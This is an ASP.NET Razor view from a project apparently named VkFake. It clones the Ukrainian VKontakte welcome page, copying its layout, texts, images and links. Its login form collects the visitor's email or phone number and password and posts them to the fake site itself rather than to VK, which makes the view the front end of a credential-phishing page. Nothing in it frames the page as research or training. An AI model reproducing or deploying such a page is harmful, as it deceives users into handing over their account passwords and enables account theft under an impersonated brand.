﻿@model VkFake.Models.Login
@{
    ViewBag.Title = "Ласкаво просимо! | ВКонтакті";
}

<div id="side_bar" class="fl_l">
    <div id="quick_login">
        @using (Html.BeginForm())
        {
            <div class="label">Телефон або email</div>
            <div class="labeled">
                @Html.TextBoxFor(model => model.email, new { style = "width:105px; height:13px; color: #000; padding: 5px 5px 6px; border: 1px solid #C0CAD5; font-size: 11px; font-family: Tahoma, Verdana, Arial, Sans-Serif, Lucida Sans;" })
            </div>
            <div class="label">Пароль</div>
            <div class="labeled">
                @Html.PasswordFor(model => model.pass, new { style = "width:105px; height:13px; color: #000; padding: 5px 5px 6px;  border: 1px solid #C0CAD5; font-size: 11px; font-family: Tahoma, Verdana, Arial, Sans-Serif, Lucida Sans;" })
            </div>
            <div class="button_blue button_wide button_big" id="quick_auth_button">
                <button id="quick_login_button">Увійти</button>
            </div>
            @*<div class="button_blue" id="quick_auth_button">
                <button id="quick_login_button">Увійти</button>
            </div>*@
            
            @*<input type="submit" value="Увійти" />*@
            
        }
        <div class="clear forgot"><a id="quick_forgot" href="http://vk.com/login.php" target="_top">Забули пароль?</a></div>
    </div>
</div>
<div id="page_body" class="fl_r" style="width: 631px;">
      <div id="header_wrap2">
        <div id="header_wrap1">
          <div id="header" style="">
            <h1 id="title">Ласкаво просимо!</h1>
          </div>
        </div>
      </div>
      <div id="wrap_between"></div>
      <div id="wrap3"><div id="wrap2">
  <div id="wrap1">
    <div id="content"><div id="index">
  <iframe class="upload_frame" src="https://login.vk.com/?role=al_frame&amp;_origin=http://vk.com&amp;ip_h=30f0f31f309b73e21b"></iframe>
  <div class="content">
    <p><b>ВКонтакті</b> – універсальний засіб для спілкування і пошуку друзів та однокласників, <br>яким щодня користуються десятки мільйонів людей.</p>

    <h2>Миттєва реєстрація</h2>

    <div class="msg" id="ij_msg"></div>

    <div class="ij_form">
      <div class="ij_reg_row">
        <div class="input_back_wrap no_select"><div class="input_back" style="margin: 1px; padding: 5px 4px 4px;"><div class="input_back_content">Ваше ім'я</div></div>  </div><input type="text" class="big_text" id="ij_first_name" value="" >
      </div>
      <div class="ij_reg_row">
        <div class="input_back_wrap no_select"><div class="input_back" style="margin: 1px; padding: 5px 4px 4px;"><div class="input_back_content">Ваше прізвище</div></div>  </div><input type="text" class="big_text" id="ij_last_name" value="" >
      </div>
      <div class="ij_reg_row" id="ij_sex_row">
        <input type="hidden" id="ij_sex" name="ij_sex">
      </div>
      <div class="button_blue button_wide button_big ij_button">
        <button id="ij_submit" onclick="Index.submitJoinStart()">
          <span class="ij_with_arr">Зареєструватися</span>
        </button>
      </div>
      <div id="index_fbsign">
        <div class="index_fbb">
          <div class="index_or"><div class="index_or_l"></div><span class="index_or_s">або</span></div>
          <div class="button_blue button_wide button_big ij_button index_fb_btn">
            <button id="index_fb" onclick="Index.fbJoin();">
              <div class="index_fb_logo"></div>
              <div class="index_fb_l">Увійти через Facebook</div>
            </button>
          </div>
        </div>
      </div>
    </div>

    <h2>У чому допоможе ВКонтакті?</h2>
    <ul class="listing">
      <li><span>Знайти людей, з якими Ви коли-небудь вчилися, працювали або вiдпочивали.</span></li>
      <li><span>Дiзнатися бiльше про людей, якi Вас оточують, i знайти нових друзiв.</span></li>
      <li><span>Завжди залишатися у контактi з тими, хто Вам близький.</span></li>
    </ul>
  </div>
  <div class="reg">
    <table cellspacing="0" cellpadding="0" id="ij_screens"><tbody><tr>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(0)"><img src="http://vk.com/images/join/prof_ua_m.png?4" class="ijs_img"></a></td>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(1)"><img src="http://vk.com/images/join/news_ua_m.png?4" class="ijs_img"></a></td>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(2)"><img src="http://vk.com/images/join/dial_ua_m.png?4" class="ijs_img"></a></td>
    </tr></tbody></table>
  </div>
</div></div>
  </div>
</div></div>
    </div>
